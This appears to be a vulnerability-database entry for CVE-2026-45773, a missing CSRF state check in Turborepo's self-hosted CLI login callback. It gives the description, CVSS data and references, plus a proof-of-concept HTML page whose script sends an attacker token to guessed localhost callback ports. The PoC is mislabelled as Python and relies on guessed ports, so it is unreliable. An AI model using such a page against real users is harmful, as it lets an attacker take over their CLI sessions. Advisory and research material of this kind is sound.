CVE-2026-45773

Description

Turborepo is a high-performance build system for JavaScript and TypeScript codebases. Prior to 2.9.14, Turborepo's self-hosted login and SSO browser flows did not validate a CSRF state value on the localhost callback. While the CLI was waiting for authentication, a malicious web page could send a request to the local callback server with an attacker-controlled token. If accepted before the legitimate callback, the CLI could complete login with the wrong credentials. This affects users authenticating the turbo CLI against self-hosted remote cache/auth endpoints. Vercel-hosted login flows using device authorization are not affected. This vulnerability is fixed in 2.9.14.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:vercel:turborepo:*:*:*:*:*:node.js:*:* - VULNERABLE

Turborepo < 2.9.14

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
PoC for CVE-2026-45773
This malicious HTML page attempts to send an attacker-controlled token to the local Turborepo CLI callback server.
-->
<html>
<body>
<script>
    // Attacker's controlled token
    const maliciousToken = "ATTACKER_TOKEN_PAYLOAD";
    
    // The target is the local callback endpoint (Port may vary, typically dynamic)
    // In a real scenario, the attacker would guess or brute force the port, or the port might be predictable/default.
    const targets = ["http://localhost:3000/callback", "http://localhost:4200/callback"];

    targets.forEach(url => {
        fetch(url + "?token=" + maliciousToken)
            .then(response => console.log("Request sent to", url, response.status))
            .catch(err => console.error(err));
    });
</script>
<p>CVE-2026-45773 PoC running...</p>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-45773
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-45773
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-45773/
[4] VulDB https://vuldb.com/cve/CVE-2026-45773
[5] https://github.com/vercel/turborepo/security/advisories/GHSA-hcf7-66rw-9f5r

Raw JSON Data

JSON

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